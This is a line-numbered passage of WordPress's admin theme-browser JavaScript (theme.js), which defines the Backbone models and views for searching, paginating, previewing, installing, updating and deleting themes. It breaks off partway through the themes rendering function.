1/**
  2 * @output wp-admin/js/theme.js
  3 */
  4
  5/* global _wpThemeSettings, confirm, tb_position */
  6window.wp = window.wp || {};
  7
  8( function($) {
  9
 10// Set up our namespace...
 11var themes, l10n;
 12themes = wp.themes = wp.themes || {};
 13
 14// Store the theme data and settings for organized and quick access.
 15// themes.data.settings, themes.data.themes, themes.data.l10n.
 16themes.data = _wpThemeSettings;
 17l10n = themes.data.l10n;
 18
 19// Shortcut for isInstall check.
 20themes.isInstall = !! themes.data.settings.isInstall;
 21
 22// Setup app structure.
 23_.extend( themes, { model: {}, view: {}, routes: {}, router: {}, template: wp.template });
 24
 25themes.Model = Backbone.Model.extend({
 26	// Adds attributes to the default data coming through the .org themes api.
 27	// Map `id` to `slug` for shared code.
 28	initialize: function() {
 29		var description;
 30
 31		if ( this.get( 'slug' ) ) {
 32			// If the theme is already installed, set an attribute.
 33			if ( _.indexOf( themes.data.installedThemes, this.get( 'slug' ) ) !== -1 ) {
 34				this.set({ installed: true });
 35			}
 36
 37			// If the theme is active, set an attribute.
 38			if ( themes.data.activeTheme === this.get( 'slug' ) ) {
 39				this.set({ active: true });
 40			}
 41		}
 42
 43		// Set the attributes.
 44		this.set({
 45			// `slug` is for installation, `id` is for existing.
 46			id: this.get( 'slug' ) || this.get( 'id' )
 47		});
 48
 49		// Map `section.description` to `description`
 50		// as the API sometimes returns it differently.
 51		if ( this.has( 'sections' ) ) {
 52			description = this.get( 'sections' ).description;
 53			this.set({ description: description });
 54		}
 55	}
 56});
 57
 58// Main view controller for themes.php.
 59// Unifies and renders all available views.
 60themes.view.Appearance = wp.Backbone.View.extend({
 61
 62	el: '#wpbody-content .wrap .theme-browser',
 63
 64	window: $( window ),
 65	// Pagination instance.
 66	page: 0,
 67
 68	// Sets up a throttler for binding to 'scroll'.
 69	initialize: function( options ) {
 70		// Scroller checks how far the scroll position is.
 71		_.bindAll( this, 'scroller' );
 72
 73		this.SearchView = options.SearchView ? options.SearchView : themes.view.Search;
 74		// Bind to the scroll event and throttle
 75		// the results from this.scroller.
 76		this.window.on( 'scroll', _.throttle( this.scroller, 300 ) );
 77	},
 78
 79	// Main render control.
 80	render: function() {
 81		// Setup the main theme view
 82		// with the current theme collection.
 83		this.view = new themes.view.Themes({
 84			collection: this.collection,
 85			parent: this
 86		});
 87
 88		// Render search form.
 89		this.search();
 90
 91		this.$el.removeClass( 'search-loading' );
 92
 93		// Render and append.
 94		this.view.render();
 95		this.$el.empty().append( this.view.el ).addClass( 'rendered' );
 96	},
 97
 98	// Defines search element container.
 99	searchContainer: $( '.search-form' ),
100
101	// Search input and view
102	// for current theme collection.
103	search: function() {
104		var view,
105			self = this;
106
107		// Don't render the search if there is only one theme.
108		if ( themes.data.themes.length === 1 ) {
109			return;
110		}
111
112		view = new this.SearchView({
113			collection: self.collection,
114			parent: this
115		});
116		self.SearchView = view;
117
118		// Render and append after screen title.
119		view.render();
120		this.searchContainer
121			.find( '.search-box' )
122			.append( $.parseHTML( '<label for="wp-filter-search-input">' + l10n.search + '</label>' ) )
123			.append( view.el );
124
125		this.searchContainer.on( 'submit', function( event ) {
126			event.preventDefault();
127		});
128	},
129
130	// Checks when the user gets close to the bottom
131	// of the mage and triggers a theme:scroll event.
132	scroller: function() {
133		var self = this,
134			bottom, threshold;
135
136		bottom = this.window.scrollTop() + self.window.height();
137		threshold = self.$el.offset().top + self.$el.outerHeight( false ) - self.window.height();
138		threshold = Math.round( threshold * 0.9 );
139
140		if ( bottom > threshold ) {
141			this.trigger( 'theme:scroll' );
142		}
143	}
144});
145
146// Set up the Collection for our theme data.
147// @has 'id' 'name' 'screenshot' 'author' 'authorURI' 'version' 'active' ...
148themes.Collection = Backbone.Collection.extend({
149
150	model: themes.Model,
151
152	// Search terms.
153	terms: '',
154
155	// Controls searching on the current theme collection
156	// and triggers an update event.
157	doSearch: function( value ) {
158
159		// Don't do anything if we've already done this search.
160		// Useful because the Search handler fires multiple times per keystroke.
161		if ( this.terms === value ) {
162			return;
163		}
164
165		// Updates terms with the value passed.
166		this.terms = value;
167
168		// If we have terms, run a search...
169		if ( this.terms.length > 0 ) {
170			this.search( this.terms );
171		}
172
173		// If search is blank, show all themes.
174		// Useful for resetting the views when you clean the input.
175		if ( this.terms === '' ) {
176			this.reset( themes.data.themes );
177			$( 'body' ).removeClass( 'no-results' );
178		}
179
180		// Trigger a 'themes:update' event.
181		this.trigger( 'themes:update' );
182	},
183
184	/**
185	 * Performs a search within the collection.
186	 *
187	 * @uses RegExp
188	 */
189	search: function( term ) {
190		var match, results, haystack, name, description, author;
191
192		// Start with a full collection.
193		this.reset( themes.data.themes, { silent: true } );
194
195		// Trim the term.
196		term = term.trim();
197
198		// Escape the term string for RegExp meta characters.
199		term = term.replace( /[-\/\\^$*+?.()|[\]{}]/g, '\\$&' );
200
201		// Consider spaces as word delimiters and match the whole string
202		// so matching terms can be combined.
203		term = term.replace( / /g, ')(?=.*' );
204		match = new RegExp( '^(?=.*' + term + ').+', 'i' );
205
206		// Find results.
207		// _.filter() and .test().
208		results = this.filter( function( data ) {
209			name        = data.get( 'name' ).replace( /(<([^>]+)>)/ig, '' );
210			description = data.get( 'description' ).replace( /(<([^>]+)>)/ig, '' );
211			author      = data.get( 'author' ).replace( /(<([^>]+)>)/ig, '' );
212
213			haystack = _.union( [ name, data.get( 'id' ), description, author, data.get( 'tags' ) ] );
214
215			if ( match.test( data.get( 'author' ) ) && term.length > 2 ) {
216				data.set( 'displayAuthor', true );
217			}
218
219			return match.test( haystack );
220		});
221
222		if ( results.length === 0 ) {
223			this.trigger( 'query:empty' );
224		} else {
225			$( 'body' ).removeClass( 'no-results' );
226		}
227
228		this.reset( results );
229	},
230
231	// Paginates the collection with a helper method
232	// that slices the collection.
233	paginate: function( instance ) {
234		var collection = this;
235		instance = instance || 0;
236
237		// Themes per instance are set at 20.
238		collection = _( collection.rest( 20 * instance ) );
239		collection = _( collection.first( 20 ) );
240
241		return collection;
242	},
243
244	count: false,
245
246	/*
247	 * Handles requests for more themes and caches results.
248	 *
249	 *
250	 * When we are missing a cache object we fire an apiCall()
251	 * which triggers events of `query:success` or `query:fail`.
252	 */
253	query: function( request ) {
254		/**
255		 * @static
256		 * @type Array
257		 */
258		var queries = this.queries,
259			self = this,
260			query, isPaginated, count;
261
262		// Store current query request args
263		// for later use with the event `theme:end`.
264		this.currentQuery.request = request;
265
266		// Search the query cache for matches.
267		query = _.find( queries, function( query ) {
268			return _.isEqual( query.request, request );
269		});
270
271		// If the request matches the stored currentQuery.request
272		// it means we have a paginated request.
273		isPaginated = _.has( request, 'page' );
274
275		// Reset the internal api page counter for non-paginated queries.
276		if ( ! isPaginated ) {
277			this.currentQuery.page = 1;
278		}
279
280		// Otherwise, send a new API call and add it to the cache.
281		if ( ! query && ! isPaginated ) {
282			query = this.apiCall( request ).done( function( data ) {
283
284				// Update the collection with the queried data.
285				if ( data.themes ) {
286					self.reset( data.themes );
287					count = data.info.results;
288					// Store the results and the query request.
289					queries.push( { themes: data.themes, request: request, total: count } );
290				}
291
292				// Trigger a collection refresh event
293				// and a `query:success` event with a `count` argument.
294				self.trigger( 'themes:update' );
295				self.trigger( 'query:success', count );
296
297				if ( data.themes && data.themes.length === 0 ) {
298					self.trigger( 'query:empty' );
299				}
300
301			}).fail( function() {
302				self.trigger( 'query:fail' );
303			});
304		} else {
305			// If it's a paginated request we need to fetch more themes...
306			if ( isPaginated ) {
307				return this.apiCall( request, isPaginated ).done( function( data ) {
308					// Add the new themes to the current collection.
309					// @todo Update counter.
310					self.add( data.themes );
311					self.trigger( 'query:success' );
312
313					// We are done loading themes for now.
314					self.loadingThemes = false;
315
316				}).fail( function() {
317					self.trigger( 'query:fail' );
318				});
319			}
320
321			if ( query.themes.length === 0 ) {
322				self.trigger( 'query:empty' );
323			} else {
324				$( 'body' ).removeClass( 'no-results' );
325			}
326
327			// Only trigger an update event since we already have the themes
328			// on our cached object.
329			if ( _.isNumber( query.total ) ) {
330				this.count = query.total;
331			}
332
333			this.reset( query.themes );
334			if ( ! query.total ) {
335				this.count = this.length;
336			}
337
338			this.trigger( 'themes:update' );
339			this.trigger( 'query:success', this.count );
340		}
341	},
342
343	// Local cache array for API queries.
344	queries: [],
345
346	// Keep track of current query so we can handle pagination.
347	currentQuery: {
348		page: 1,
349		request: {}
350	},
351
352	// Send request to api.wordpress.org/themes.
353	apiCall: function( request, paginated ) {
354		return wp.ajax.send( 'query-themes', {
355			data: {
356				// Request data.
357				request: _.extend({
358					per_page: 100
359				}, request)
360			},
361
362			beforeSend: function() {
363				if ( ! paginated ) {
364					// Spin it.
365					$( 'body' ).addClass( 'loading-content' ).removeClass( 'no-results' );
366				}
367			}
368		});
369	},
370
371	// Static status controller for when we are loading themes.
372	loadingThemes: false
373});
374
375// This is the view that controls each theme item
376// that will be displayed on the screen.
377themes.view.Theme = wp.Backbone.View.extend({
378
379	// Wrap theme data on a div.theme element.
380	className: 'theme',
381
382	// Reflects which theme view we have.
383	// 'grid' (default) or 'detail'.
384	state: 'grid',
385
386	// The HTML template for each element to be rendered.
387	html: themes.template( 'theme' ),
388
389	events: {
390		'click': themes.isInstall ? 'preview': 'expand',
391		'keydown': themes.isInstall ? 'preview': 'expand',
392		'touchend': themes.isInstall ? 'preview': 'expand',
393		'keyup': 'addFocus',
394		'touchmove': 'preventExpand',
395		'click .theme-install': 'installTheme',
396		'click .update-message': 'updateTheme'
397	},
398
399	touchDrag: false,
400
401	initialize: function() {
402		this.model.on( 'change', this.render, this );
403	},
404
405	render: function() {
406		var data = this.model.toJSON();
407
408		// Render themes using the html template.
409		this.$el.html( this.html( data ) ).attr( 'data-slug', data.id );
410
411		// Renders active theme styles.
412		this.activeTheme();
413
414		if ( this.model.get( 'displayAuthor' ) ) {
415			this.$el.addClass( 'display-author' );
416		}
417	},
418
419	// Adds a class to the currently active theme
420	// and to the overlay in detailed view mode.
421	activeTheme: function() {
422		if ( this.model.get( 'active' ) ) {
423			this.$el.addClass( 'active' );
424		}
425	},
426
427	// Add class of focus to the theme we are focused on.
428	addFocus: function() {
429		var $themeToFocus = ( $( ':focus' ).hasClass( 'theme' ) ) ? $( ':focus' ) : $(':focus').parents('.theme');
430
431		$('.theme.focus').removeClass('focus');
432		$themeToFocus.addClass('focus');
433	},
434
435	// Single theme overlay screen.
436	// It's shown when clicking a theme.
437	expand: function( event ) {
438		var self = this;
439
440		event = event || window.event;
441
442		// 'Enter' and 'Space' keys expand the details view when a theme is :focused.
443		if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) {
444			return;
445		}
446
447		// Bail if the user scrolled on a touch device.
448		if ( this.touchDrag === true ) {
449			return this.touchDrag = false;
450		}
451
452		// Prevent the modal from showing when the user clicks
453		// one of the direct action buttons.
454		if ( $( event.target ).is( '.theme-actions a' ) ) {
455			return;
456		}
457
458		// Prevent the modal from showing when the user clicks one of the direct action buttons.
459		if ( $( event.target ).is( '.theme-actions a, .update-message, .button-link, .notice-dismiss' ) ) {
460			return;
461		}
462
463		// Set focused theme to current element.
464		themes.focusedTheme = this.$el;
465
466		this.trigger( 'theme:expand', self.model.cid );
467	},
468
469	preventExpand: function() {
470		this.touchDrag = true;
471	},
472
473	preview: function( event ) {
474		var self = this,
475			current, preview;
476
477		event = event || window.event;
478
479		// Bail if the user scrolled on a touch device.
480		if ( this.touchDrag === true ) {
481			return this.touchDrag = false;
482		}
483
484		// Allow direct link path to installing a theme.
485		if ( $( event.target ).not( '.install-theme-preview' ).parents( '.theme-actions' ).length ) {
486			return;
487		}
488
489		// 'Enter' and 'Space' keys expand the details view when a theme is :focused.
490		if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) {
491			return;
492		}
493
494		// Pressing Enter while focused on the buttons shouldn't open the preview.
495		if ( event.type === 'keydown' && event.which !== 13 && $( ':focus' ).hasClass( 'button' ) ) {
496			return;
497		}
498
499		event.preventDefault();
500
501		event = event || window.event;
502
503		// Set focus to current theme.
504		themes.focusedTheme = this.$el;
505
506		// Construct a new Preview view.
507		themes.preview = preview = new themes.view.Preview({
508			model: this.model
509		});
510
511		// Render the view and append it.
512		preview.render();
513		this.setNavButtonsState();
514
515		// Hide previous/next navigation if there is only one theme.
516		if ( this.model.collection.length === 1 ) {
517			preview.$el.addClass( 'no-navigation' );
518		} else {
519			preview.$el.removeClass( 'no-navigation' );
520		}
521
522		// Append preview.
523		$( 'div.wrap' ).append( preview.el );
524
525		// Listen to our preview object
526		// for `theme:next` and `theme:previous` events.
527		this.listenTo( preview, 'theme:next', function() {
528
529			// Keep local track of current theme model.
530			current = self.model;
531
532			// If we have ventured away from current model update the current model position.
533			if ( ! _.isUndefined( self.current ) ) {
534				current = self.current;
535			}
536
537			// Get next theme model.
538			self.current = self.model.collection.at( self.model.collection.indexOf( current ) + 1 );
539
540			// If we have no more themes, bail.
541			if ( _.isUndefined( self.current ) ) {
542				self.options.parent.parent.trigger( 'theme:end' );
543				return self.current = current;
544			}
545
546			preview.model = self.current;
547
548			// Render and append.
549			preview.render();
550			this.setNavButtonsState();
551			$( '.next-theme' ).trigger( 'focus' );
552		})
553		.listenTo( preview, 'theme:previous', function() {
554
555			// Keep track of current theme model.
556			current = self.model;
557
558			// Bail early if we are at the beginning of the collection.
559			if ( self.model.collection.indexOf( self.current ) === 0 ) {
560				return;
561			}
562
563			// If we have ventured away from current model update the current model position.
564			if ( ! _.isUndefined( self.current ) ) {
565				current = self.current;
566			}
567
568			// Get previous theme model.
569			self.current = self.model.collection.at( self.model.collection.indexOf( current ) - 1 );
570
571			// If we have no more themes, bail.
572			if ( _.isUndefined( self.current ) ) {
573				return;
574			}
575
576			preview.model = self.current;
577
578			// Render and append.
579			preview.render();
580			this.setNavButtonsState();
581			$( '.previous-theme' ).trigger( 'focus' );
582		});
583
584		this.listenTo( preview, 'preview:close', function() {
585			self.current = self.model;
586		});
587
588	},
589
590	// Handles .disabled classes for previous/next buttons in theme installer preview.
591	setNavButtonsState: function() {
592		var $themeInstaller = $( '.theme-install-overlay' ),
593			current = _.isUndefined( this.current ) ? this.model : this.current,
594			previousThemeButton = $themeInstaller.find( '.previous-theme' ),
595			nextThemeButton = $themeInstaller.find( '.next-theme' );
596
597		// Disable previous at the zero position.
598		if ( 0 === this.model.collection.indexOf( current ) ) {
599			previousThemeButton
600				.addClass( 'disabled' )
601				.prop( 'disabled', true );
602
603			nextThemeButton.trigger( 'focus' );
604		}
605
606		// Disable next if the next model is undefined.
607		if ( _.isUndefined( this.model.collection.at( this.model.collection.indexOf( current ) + 1 ) ) ) {
608			nextThemeButton
609				.addClass( 'disabled' )
610				.prop( 'disabled', true );
611
612			previousThemeButton.trigger( 'focus' );
613		}
614	},
615
616	installTheme: function( event ) {
617		var _this = this;
618
619		event.preventDefault();
620
621		wp.updates.maybeRequestFilesystemCredentials( event );
622
623		$( document ).on( 'wp-theme-install-success', function( event, response ) {
624			if ( _this.model.get( 'id' ) === response.slug ) {
625				_this.model.set( { 'installed': true } );
626			}
627			if ( response.blockTheme ) {
628				_this.model.set( { 'block_theme': true } );
629			}
630		} );
631
632		wp.updates.installTheme( {
633			slug: $( event.target ).data( 'slug' )
634		} );
635	},
636
637	updateTheme: function( event ) {
638		var _this = this;
639
640		if ( ! this.model.get( 'hasPackage' ) ) {
641			return;
642		}
643
644		event.preventDefault();
645
646		wp.updates.maybeRequestFilesystemCredentials( event );
647
648		$( document ).on( 'wp-theme-update-success', function( event, response ) {
649			_this.model.off( 'change', _this.render, _this );
650			if ( _this.model.get( 'id' ) === response.slug ) {
651				_this.model.set( {
652					hasUpdate: false,
653					version: response.newVersion
654				} );
655			}
656			_this.model.on( 'change', _this.render, _this );
657		} );
658
659		wp.updates.updateTheme( {
660			slug: $( event.target ).parents( 'div.theme' ).first().data( 'slug' )
661		} );
662	}
663});
664
665// Theme Details view.
666// Sets up a modal overlay with the expanded theme data.
667themes.view.Details = wp.Backbone.View.extend({
668
669	// Wrap theme data on a div.theme element.
670	className: 'theme-overlay',
671
672	events: {
673		'click': 'collapse',
674		'click .delete-theme': 'deleteTheme',
675		'click .left': 'previousTheme',
676		'click .right': 'nextTheme',
677		'click #update-theme': 'updateTheme',
678		'click .toggle-auto-update': 'autoupdateState'
679	},
680
681	// The HTML template for the theme overlay.
682	html: themes.template( 'theme-single' ),
683
684	render: function() {
685		var data = this.model.toJSON();
686		this.$el.html( this.html( data ) );
687		// Renders active theme styles.
688		this.activeTheme();
689		// Set up navigation events.
690		this.navigation();
691		// Checks screenshot size.
692		this.screenshotCheck( this.$el );
693		// Contain "tabbing" inside the overlay.
694		this.containFocus( this.$el );
695	},
696
697	// Adds a class to the currently active theme
698	// and to the overlay in detailed view mode.
699	activeTheme: function() {
700		// Check the model has the active property.
701		this.$el.toggleClass( 'active', this.model.get( 'active' ) );
702	},
703
704	// Set initial focus and constrain tabbing within the theme browser modal.
705	containFocus: function( $el ) {
706
707		// Set initial focus on the primary action control.
708		_.delay( function() {
709			$( '.theme-overlay' ).trigger( 'focus' );
710		}, 100 );
711
712		// Constrain tabbing within the modal.
713		$el.on( 'keydown.wp-themes', function( event ) {
714			var $firstFocusable = $el.find( '.theme-header button:not(.disabled)' ).first(),
715				$lastFocusable = $el.find( '.theme-actions a:visible' ).last();
716
717			// Check for the Tab key.
718			if ( 9 === event.which ) {
719				if ( $firstFocusable[0] === event.target && event.shiftKey ) {
720					$lastFocusable.trigger( 'focus' );
721					event.preventDefault();
722				} else if ( $lastFocusable[0] === event.target && ! event.shiftKey ) {
723					$firstFocusable.trigger( 'focus' );
724					event.preventDefault();
725				}
726			}
727		});
728	},
729
730	// Single theme overlay screen.
731	// It's shown when clicking a theme.
732	collapse: function( event ) {
733		var self = this,
734			scroll;
735
736		event = event || window.event;
737
738		// Prevent collapsing detailed view when there is only one theme available.
739		if ( themes.data.themes.length === 1 ) {
740			return;
741		}
742
743		// Detect if the click is inside the overlay and don't close it
744		// unless the target was the div.back button.
745		if ( $( event.target ).is( '.theme-backdrop' ) || $( event.target ).is( '.close' ) || event.keyCode === 27 ) {
746
747			// Add a temporary closing class while overlay fades out.
748			$( 'body' ).addClass( 'closing-overlay' );
749
750			// With a quick fade out animation.
751			this.$el.fadeOut( 130, function() {
752				// Clicking outside the modal box closes the overlay.
753				$( 'body' ).removeClass( 'closing-overlay' );
754				// Handle event cleanup.
755				self.closeOverlay();
756
757				// Get scroll position to avoid jumping to the top.
758				scroll = document.body.scrollTop;
759
760				// Clean the URL structure.
761				themes.router.navigate( themes.router.baseUrl( '' ) );
762
763				// Restore scroll position.
764				document.body.scrollTop = scroll;
765
766				// Return focus to the theme div.
767				if ( themes.focusedTheme ) {
768					themes.focusedTheme.find('.more-details').trigger( 'focus' );
769				}
770			});
771		}
772	},
773
774	// Handles .disabled classes for next/previous buttons.
775	navigation: function() {
776
777		// Disable Left/Right when at the start or end of the collection.
778		if ( this.model.cid === this.model.collection.at(0).cid ) {
779			this.$el.find( '.left' )
780				.addClass( 'disabled' )
781				.prop( 'disabled', true );
782		}
783		if ( this.model.cid === this.model.collection.at( this.model.collection.length - 1 ).cid ) {
784			this.$el.find( '.right' )
785				.addClass( 'disabled' )
786				.prop( 'disabled', true );
787		}
788	},
789
790	// Performs the actions to effectively close
791	// the theme details overlay.
792	closeOverlay: function() {
793		$( 'body' ).removeClass( 'modal-open' );
794		this.remove();
795		this.unbind();
796		this.trigger( 'theme:collapse' );
797	},
798
799	// Set state of the auto-update settings link after it has been changed and saved.
800	autoupdateState: function() {
801		var callback,
802			_this = this;
803
804		// Support concurrent clicks in different Theme Details overlays.
805		callback = function( event, data ) {
806			var autoupdate;
807			if ( _this.model.get( 'id' ) === data.asset ) {
808				autoupdate = _this.model.get( 'autoupdate' );
809				autoupdate.enabled = 'enable' === data.state;
810				_this.model.set( { autoupdate: autoupdate } );
811				$( document ).off( 'wp-auto-update-setting-changed', callback );
812			}
813		};
814
815		// Triggered in updates.js
816		$( document ).on( 'wp-auto-update-setting-changed', callback );
817	},
818
819	updateTheme: function( event ) {
820		var _this = this;
821		event.preventDefault();
822
823		wp.updates.maybeRequestFilesystemCredentials( event );
824
825		$( document ).on( 'wp-theme-update-success', function( event, response ) {
826			if ( _this.model.get( 'id' ) === response.slug ) {
827				_this.model.set( {
828					hasUpdate: false,
829					version: response.newVersion
830				} );
831			}
832			_this.render();
833		} );
834
835		wp.updates.updateTheme( {
836			slug: $( event.target ).data( 'slug' )
837		} );
838	},
839
840	deleteTheme: function( event ) {
841		var _this = this,
842		    _collection = _this.model.collection,
843		    _themes = themes;
844		event.preventDefault();
845
846		// Confirmation dialog for deleting a theme.
847		if ( ! window.confirm( wp.themes.data.settings.confirmDelete ) ) {
848			return;
849		}
850
851		wp.updates.maybeRequestFilesystemCredentials( event );
852
853		$( document ).one( 'wp-theme-delete-success', function( event, response ) {
854			_this.$el.find( '.close' ).trigger( 'click' );
855			$( '[data-slug="' + response.slug + '"]' ).css( { backgroundColor:'#faafaa' } ).fadeOut( 350, function() {
856				$( this ).remove();
857				_themes.data.themes = _.without( _themes.data.themes, _.findWhere( _themes.data.themes, { id: response.slug } ) );
858
859				$( '.wp-filter-search' ).val( '' );
860				_collection.doSearch( '' );
861				_collection.remove( _this.model );
862				_collection.trigger( 'themes:update' );
863			} );
864		} );
865
866		wp.updates.deleteTheme( {
867			slug: this.model.get( 'id' )
868		} );
869	},
870
871	nextTheme: function() {
872		var self = this;
873		self.trigger( 'theme:next', self.model.cid );
874		return false;
875	},
876
877	previousTheme: function() {
878		var self = this;
879		self.trigger( 'theme:previous', self.model.cid );
880		return false;
881	},
882
883	// Checks if the theme screenshot is the old 300px width version
884	// and adds a corresponding class if it's true.
885	screenshotCheck: function( el ) {
886		var screenshot, image;
887
888		screenshot = el.find( '.screenshot img' );
889		image = new Image();
890		image.src = screenshot.attr( 'src' );
891
892		// Width check.
893		if ( image.width && image.width <= 300 ) {
894			el.addClass( 'small-screenshot' );
895		}
896	}
897});
898
899// Theme Preview view.
900// Sets up a modal overlay with the expanded theme data.
901themes.view.Preview = themes.view.Details.extend({
902
903	className: 'wp-full-overlay expanded',
904	el: '.theme-install-overlay',
905
906	events: {
907		'click .close-full-overlay': 'close',
908		'click .collapse-sidebar': 'collapse',
909		'click .devices button': 'previewDevice',
910		'click .previous-theme': 'previousTheme',
911		'click .next-theme': 'nextTheme',
912		'keyup': 'keyEvent',
913		'click .theme-install': 'installTheme'
914	},
915
916	// The HTML template for the theme preview.
917	html: themes.template( 'theme-preview' ),
918
919	render: function() {
920		var self = this,
921			currentPreviewDevice,
922			data = this.model.toJSON(),
923			$body = $( document.body );
924
925		$body.attr( 'aria-busy', 'true' );
926
927		this.$el.removeClass( 'iframe-ready' ).html( this.html( data ) );
928
929		currentPreviewDevice = this.$el.data( 'current-preview-device' );
930		if ( currentPreviewDevice ) {
931			self.togglePreviewDeviceButtons( currentPreviewDevice );
932		}
933
934		themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.get( 'id' ) ), { replace: false } );
935
936		this.$el.fadeIn( 200, function() {
937			$body.addClass( 'theme-installer-active full-overlay-active' );
938		});
939
940		this.$el.find( 'iframe' ).one( 'load', function() {
941			self.iframeLoaded();
942		});
943	},
944
945	iframeLoaded: function() {
946		this.$el.addClass( 'iframe-ready' );
947		$( document.body ).attr( 'aria-busy', 'false' );
948	},
949
950	close: function() {
951		this.$el.fadeOut( 200, function() {
952			$( 'body' ).removeClass( 'theme-installer-active full-overlay-active' );
953
954			// Return focus to the theme div.
955			if ( themes.focusedTheme ) {
956				themes.focusedTheme.find('.more-details').trigger( 'focus' );
957			}
958		}).removeClass( 'iframe-ready' );
959
960		// Restore the previous browse tab if available.
961		if ( themes.router.selectedTab ) {
962			themes.router.navigate( themes.router.baseUrl( '?browse=' + themes.router.selectedTab ) );
963			themes.router.selectedTab = false;
964		} else {
965			themes.router.navigate( themes.router.baseUrl( '' ) );
966		}
967		this.trigger( 'preview:close' );
968		this.undelegateEvents();
969		this.unbind();
970		return false;
971	},
972
973	collapse: function( event ) {
974		var $button = $( event.currentTarget );
975		if ( 'true' === $button.attr( 'aria-expanded' ) ) {
976			$button.attr({ 'aria-expanded': 'false', 'aria-label': l10n.expandSidebar });
977		} else {
978			$button.attr({ 'aria-expanded': 'true', 'aria-label': l10n.collapseSidebar });
979		}
980
981		this.$el.toggleClass( 'collapsed' ).toggleClass( 'expanded' );
982		return false;
983	},
984
985	previewDevice: function( event ) {
986		var device = $( event.currentTarget ).data( 'device' );
987
988		this.$el
989			.removeClass( 'preview-desktop preview-tablet preview-mobile' )
990			.addClass( 'preview-' + device )
991			.data( 'current-preview-device', device );
992
993		this.togglePreviewDeviceButtons( device );
994	},
995
996	togglePreviewDeviceButtons: function( newDevice ) {
997		var $devices = $( '.wp-full-overlay-footer .devices' );
998
999		$devices.find( 'button' )
1000			.removeClass( 'active' )
1001			.attr( 'aria-pressed', false );
1002
1003		$devices.find( 'button.preview-' + newDevice )
1004			.addClass( 'active' )
1005			.attr( 'aria-pressed', true );
1006	},
1007
1008	keyEvent: function( event ) {
1009		// The escape key closes the preview.
1010		if ( event.keyCode === 27 ) {
1011			this.undelegateEvents();
1012			this.close();
1013		}
1014
1015		// Return if Ctrl + Shift or Shift key pressed
1016		if ( event.shiftKey || ( event.ctrlKey && event.shiftKey ) ) {
1017			return;
1018		}
1019
1020		// The right arrow key, next theme.
1021		if ( event.keyCode === 39 ) {
1022			_.once( this.nextTheme() );
1023		}
1024
1025		// The left arrow key, previous theme.
1026		if ( event.keyCode === 37 ) {
1027			this.previousTheme();
1028		}
1029	},
1030
1031	installTheme: function( event ) {
1032		var _this   = this,
1033		    $target = $( event.target );
1034		event.preventDefault();
1035
1036		if ( $target.hasClass( 'disabled' ) ) {
1037			return;
1038		}
1039
1040		wp.updates.maybeRequestFilesystemCredentials( event );
1041
1042		$( document ).on( 'wp-theme-install-success', function() {
1043			_this.model.set( { 'installed': true } );
1044		} );
1045
1046		wp.updates.installTheme( {
1047			slug: $target.data( 'slug' )
1048		} );
1049	}
1050});
1051
1052// Controls the rendering of div.themes,
1053// a wrapper that will hold all the theme elements.
1054themes.view.Themes = wp.Backbone.View.extend({
1055
1056	className: 'themes wp-clearfix',
1057	$overlay: $( 'div.theme-overlay' ),
1058
1059	// Number to keep track of scroll position
1060	// while in theme-overlay mode.
1061	index: 0,
1062
1063	// The theme count element.
1064	count: $( '.wrap .theme-count' ),
1065
1066	// The live themes count.
1067	liveThemeCount: 0,
1068
1069	initialize: function( options ) {
1070		var self = this;
1071
1072		// Set up parent.
1073		this.parent = options.parent;
1074
1075		// Set current view to [grid].
1076		this.setView( 'grid' );
1077
1078		// Move the active theme to the beginning of the collection.
1079		self.currentTheme();
1080
1081		// When the collection is updated by user input...
1082		this.listenTo( self.collection, 'themes:update', function() {
1083			self.parent.page = 0;
1084			self.currentTheme();
1085			self.render( this );
1086		} );
1087
1088		// Update theme count to full result set when available.
1089		this.listenTo( self.collection, 'query:success', function( count ) {
1090			if ( _.isNumber( count ) ) {
1091				self.count.text( count );
1092				self.announceSearchResults( count );
1093			} else {
1094				self.count.text( self.collection.length );
1095				self.announceSearchResults( self.collection.length );
1096			}
1097		});
1098
1099		this.listenTo( self.collection, 'query:empty', function() {
1100			$( 'body' ).addClass( 'no-results' );
1101		});
1102
1103		this.listenTo( this.parent, 'theme:scroll', function() {
1104			self.renderThemes( self.parent.page );
1105		});
1106
1107		this.listenTo( this.parent, 'theme:close', function() {
1108			if ( self.overlay ) {
1109				self.overlay.closeOverlay();
1110			}
1111		} );
1112
1113		// Bind keyboard events.
1114		$( 'body' ).on( 'keyup', function( event ) {
1115			if ( ! self.overlay ) {
1116				return;
1117			}
1118
1119			// Bail if the filesystem credentials dialog is shown.
1120			if ( $( '#request-filesystem-credentials-dialog' ).is( ':visible' ) ) {
1121				return;
1122			}
1123
1124			// Return if Ctrl + Shift or Shift key pressed
1125			if ( event.shiftKey || ( event.ctrlKey && event.shiftKey ) ) {
1126				return;
1127			}
1128
1129			// Pressing the right arrow key fires a theme:next event.
1130			if ( event.keyCode === 39 ) {
1131				self.overlay.nextTheme();
1132			}
1133
1134			// Pressing the left arrow key fires a theme:previous event.
1135			if ( event.keyCode === 37 ) {
1136				self.overlay.previousTheme();
1137			}
1138
1139			// Pressing the escape key fires a theme:collapse event.
1140			if ( event.keyCode === 27 ) {
1141				self.overlay.collapse( event );
1142			}
1143		});
1144	},
1145
1146	// Manages rendering of theme pages
1147	// and keeping theme count in sync.
1148	render: function() {
1149		// Clear the DOM, please.
1150		this.$el.empty();
1151
1152		// If the user doesn't have switch capabilities or there is only one theme
1153		// in the collection, render the detailed view of the active theme.
1154		if ( themes.data.themes.length === 1 ) {
1155
1156			// Constructs the view.
1157			this.singleTheme = new themes.view.Details({
1158				model: this.collection.models[0]
1159			});
1160
1161			// Render and apply a 'single-theme' class to our container.
1162			this.singleTheme.render();
1163			this.$el.addClass( 'single-theme' );
1164			this.$el.append( this.singleTheme.el );
1165		}
1166
1167		// Generate the themes using page instance
1168		// while checking the collection has items.
1169		if ( this.options.collection.size() > 0 ) {
1170			this.renderThemes( this.parent.page );
1171		}
1172
1173		// Display a live theme count for the collection.
1174		this.liveThemeCount = this.collection.count ? this.collection.count : this.collection.length;
1175		this.count.text( this.liveThemeCount );
1176
1177		/*
1178		 * In the theme installer the themes count is already announced
1179		 * because `announceSearchResults` is called on `query:success`.
1180		 */
1181		if ( ! themes.isInstall ) {
1182			this.announceSearchResults( this.liveThemeCount );
1183		}
1184	},
1185
1186	// Iterates through each instance of the collection
1187	// and renders each theme module.
1188	renderThemes: function( page ) {
1189		var self = this;
1190
